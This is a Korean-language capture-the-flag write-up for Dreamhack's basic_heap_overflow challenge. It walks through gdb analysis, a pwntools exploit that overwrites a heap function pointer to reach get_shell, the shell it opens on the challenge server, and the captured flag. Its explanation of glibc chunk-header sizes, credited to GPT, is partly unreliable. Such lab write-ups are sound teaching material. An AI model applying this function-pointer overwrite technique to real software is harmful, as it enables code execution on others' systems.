[dreamhack] basic_heap_overflow writeup

1. 문제

thumbnail
basic_heap_overflow

이 문제는 서버에서 작동하고 있는 서비스(basic_heap_overflow)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/66

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

struct over {
    void (*table)();
};

void get_shell() {
    system("/bin/sh");
}

void table_func() {
    printf("overwrite_me!");
}

int main() {
    char *ptr = malloc(0x20);

    struct over *over = malloc(0x20);

    initialize();

    over->table = table_func;

    scanf("%s", ptr);

    if( !over->table ){
        return 0;
    }

    over->table();
    return 0;
}

ptrover에 각각 0x20만큼 malloc함수를 통해 할당하고, over->table에는 table_func를 넣어서 실행한다.


scanf 함수를 통해서 ptr에 입력을 주는데, 문제 이름에서 볼 수 있다시피 heap overflow를 이용해서 ptr부터 over까지 덮으면된다. 다만, 이번에는 스택에서 덮는 것이 아니라 에서 덮는 것이므로 더 낮은 주소에서 높은 주소로 덮게 된다.

힙에 대해서는 많이 다뤄보지않아서 이것저것 공부를 하면서 했는데 먼저 노가다로 푸는 방법을 보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x080486ad <+0>:	lea    ecx,[esp+0x4]
   0x080486b1 <+4>:	and    esp,0xfffffff0
   0x080486b4 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080486b7 <+10>:	push   ebp
   0x080486b8 <+11>:	mov    ebp,esp
   0x080486ba <+13>:	push   ecx
   0x080486bb <+14>:	sub    esp,0x14
   0x080486be <+17>:	sub    esp,0xc
   0x080486c1 <+20>:	push   0x20
   0x080486c3 <+22>:	call   0x8048490 <malloc@plt>
   0x080486c8 <+27>:	add    esp,0x10
   0x080486cb <+30>:	mov    DWORD PTR [ebp-0x10],eax
   0x080486ce <+33>:	sub    esp,0xc
   0x080486d1 <+36>:	push   0x20
   0x080486d3 <+38>:	call   0x8048490 <malloc@plt>
   0x080486d8 <+43>:	add    esp,0x10
   0x080486db <+46>:	mov    DWORD PTR [ebp-0xc],eax
   0x080486de <+49>:	call   0x804862b <initialize>
   0x080486e3 <+54>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080486e6 <+57>:	mov    DWORD PTR [eax],0x8048694
   0x080486ec <+63>:	sub    esp,0x8
   0x080486ef <+66>:	push   DWORD PTR [ebp-0x10]
   0x080486f2 <+69>:	push   0x80487cf
   0x080486f7 <+74>:	call   0x80484f0 <__isoc99_scanf@plt>
   0x080486fc <+79>:	add    esp,0x10
   0x080486ff <+82>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048702 <+85>:	mov    eax,DWORD PTR [eax]
   0x08048704 <+87>:	test   eax,eax
   0x08048706 <+89>:	jne    0x804870f <main+98>
   0x08048708 <+91>:	mov    eax,0x0
   0x0804870d <+96>:	jmp    0x804871b <main+110>
   0x0804870f <+98>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048712 <+101>:	mov    eax,DWORD PTR [eax]
   0x08048714 <+103>:	call   eax
   0x08048716 <+105>:	mov    eax,0x0
   0x0804871b <+110>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x0804871e <+113>:	leave
   0x0804871f <+114>:	lea    esp,[ecx-0x4]
   0x08048722 <+117>:	ret
End of assembler dump.

gdb를 보면 두번의 malloc을 수행하고, initializescanf 사이에 0x8048694 주소를 [ebp-0xc]가 가리키는 주소에 넣는 것을 볼 수 있다. main+63에 breakpoint를 걸고 [ebp-0xc]를 보면 아래와 같이 보인다.

pwndbg> x/10ax $ebp-0xc
0xffffd2dc:	0x0804b1d0	0x00000000	0xffffd300	0x00000000
0xffffd2ec:	0xf7da1cb9	0x00000000	0x00000000	0xf7dbb13d
0xffffd2fc:	0xf7da1cb9	0x00000001

0x0804b1d0을 가리키고 있으니 이걸 다시 확인해보자.

pwndbg> x/10ax 0x0804b1d0
0x804b1d0:	0x08048694	0x00000000	0x00000000	0x00000000
0x804b1e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b1f0:	0x00000000	0x0000000

위 코드에서 넣던 주소가 들어가있는 것을 확인할 수 있고, 0x08048694가 table_func의 주소이다.

pwndbg> p table_func
$3 = {<text variable, no debug info>} 0x8048694 <table_func>

그러면 ptr이 할당받은 힙 주소는 어디일지 확인해보자. ptr[ebp-0x10]에 힙 주소가 위치하고 있으므로 확인해보면 0x0804b1a0이다.

pwndbg> x/10ax $ebp-0x10
0xffffd2d8:	0x0804b1a0	0x0804b1d0	0x00000000	0xffffd300
0xffffd2e8:	0x00000000	0xf7da1cb9	0x00000000	0x00000000
0xffffd2f8:	0xf7dbb13d	0xf7da1cb9

ptr이 할당받은 힙 주소가 0x0804b1a0이고, over 내에 table_func 함수의 주소가 들어간 위치는 0x0804b1d0이므로 둘의 차이는 0x30이다. 따라서 0x30만큼 덮어준 뒤, get_shell함수의 주소로 이어서 덮게 되면 table_func 함수 대신에 get_shell함수가 실행될 것이다.

처음에는 아래와 같이 exploit을 작성하였다.

from pwn import *

p = process("./basic_heap_overflow")
#p = remote("host3.dreamhack.games", 10346)
elf = ELF("./basic_heap_overflow")

get_shell = elf.symbols["get_shell"]

payload = b''
payload += b'a' * 48
payload += p64(get_shell)
p.sendline(payload)

p.interactive()

로컬에서는 아래와 같이 잘 동작하는 것까지 확인할 수 있었다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/basic_heap_overflow$ python3 e_basic_heap_overflow.py
[+] Starting local process './basic_heap_overflow': pid 2183117
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/basic_heap_overflow/basic_heap_overflow'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

그런데 이를 서버환경에서 수행해보니 문제가 생겼고, 혹시 약간의 오차가 발생하나 싶어서 8바이트를 빼고 했더니 flag를 얻을 수 있었다.

from pwn import *

p = process("./basic_heap_overflow")
#p = remote("host3.dreamhack.games", 10346)
elf = ELF("./basic_heap_overflow")

get_shell = elf.symbols["get_shell"]

payload = b''
payload += b'a' * 40  # local: 48 / server: 40
payload += p64(get_shell)
p.sendline(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/basic_heap_overflow$ python3 e_basic_heap_overflow.py
[+] Opening connection to host3.dreamhack.games on port 10346: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/basic_heap_overflow/basic_heap_overflow'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
$ id
uid=1000(basic_heap_overflow) gid=1000(basic_heap_overflow) groups=1000(basic_heap_overflow)
$ cat flag
DH{f1c2027b0b36ee204723079c7ae6c042}

2.1. 서버/로컬 환경 차이 발생 이유

여러가지 이유를 찾아봤지만 가장 유력한 것은 glibc 버전에 따른 malloc 메타데이터의 차이로 보인다.

GPT에 질문해본 결과, glibcmalloc 할당 시에 메타데이터(header)를 청크 앞에 저장하고, 이 메타데이터의 크기는 glibc 버전, 사용한 힙 구현 방식, 그리고 align 방식에 따라 달라진다고 한다. 특히 glibc 2.27 이전의 malloc 청크 헤더 크기는 일반적으로 0x10이지만, glibc 2.29 이상부터는 tcache가 기본 활성화되며, 구조가 바뀌어 0x18 등으로 바뀔 수 있다고 한다. 따라서, 같은 크기의 malloc을 해도 실제 힙에 할당되는 크기(chunk size)가 달라지고, 이로 인해 주소 차이도 달라질 수 있다.

실제로 서버와 로컬에서의 환경을 보니 정확히 달랐던 것을 확인할 수 있었다.

  • 서버 환경: GLIBC 2.23 사용
    ubuntu@instance-20250406-1126:~/dreamhack/level1/basic_heap_overflow$ python3 e_basic_heap_overflow.py
    [+] Opening connection to host3.dreamhack.games on port 10346: Done
    [!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
    [*] '/home/ubuntu/dreamhack/level1/basic_heap_overflow/basic_heap_overflow'
      Arch:       i386-32-little
      RELRO:      Partial RELRO
      Stack:      No canary found
      NX:         NX enabled
      PIE:        No PIE (0x8048000)
      Stripped:   No
    [*] Switching to interactive mode
    $ 
    $ id
    uid=1000(basic_heap_overflow) gid=1000(basic_heap_overflow) groups=1000(basic_heap_overflow)
    $ ldd --version
    ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
    Copyright (C) 2016 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.  There is NO
    warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    Written by Roland McGrath and Ulrich Drepper.
    
  • 로컬 환경: GLIBC 2.39 사용
    ubuntu@instance-20250406-1126:~/dreamhack/level1/basic_heap_overflow$ ldd --version
    ldd (Ubuntu GLIBC 2.39-0ubuntu8.4) 2.39
    Copyright (C) 2024 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.  There is NO
    warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    Written by Roland McGrath and Ulrich Drepper.
    

2.2. pwndbg에서 heap 주소 쉽게 구하기

위 풀이에서는 heap 주소를 stack에서 하나하나 찾아서 구했지만, pwndbgheap -v 명령어를 통해 훨씬 쉽고 정확하게 실제 힙 주소를 알 수 있다.

pwndbg> heap -v
Allocated chunk | PREV_INUSE
Addr: 0x804b008
prev_size: 0x00
size: 0x190 (with flag bits: 0x191)
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x804b198
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x8048694
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

Top chunk | PREV_INUSE
Addr: 0x804b1f8
prev_size: 0x00
size: 0x21e08 (with flag bits: 0x21e09)
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

두번째와 세번째 chunk가 할당된 힙임을 알 수 있고, 세번째 chunkfd0x8048694 주소가 들어가있는 것을 보면 이게 over일 것이다. 따라서 두번째 chunkptr 힙이 되고, 두 힙의 주소 차이는 Addr의 차이를 구하면 된다.

그런데 위 풀이에서 본 주소는 각각 0x804b1a0, 0x804b1d0이었는데 여기서는 8바이트씩 작아진 0x804b198, 0x804b1c8임을 볼 수 있다. heap -v로 보는 주소는 힙 청크 전체의 시작주소로서, prev_size필드와 size필드가 포함된 주소이다. 따라서 각 필드당 4바이트씩 총 8바이트가 사실 앞에 있는 것이고, 스택에서 본 주소는 메타데이터를 건너뛴 데이터가 존재하는 주소로 연결되어있다.


해결~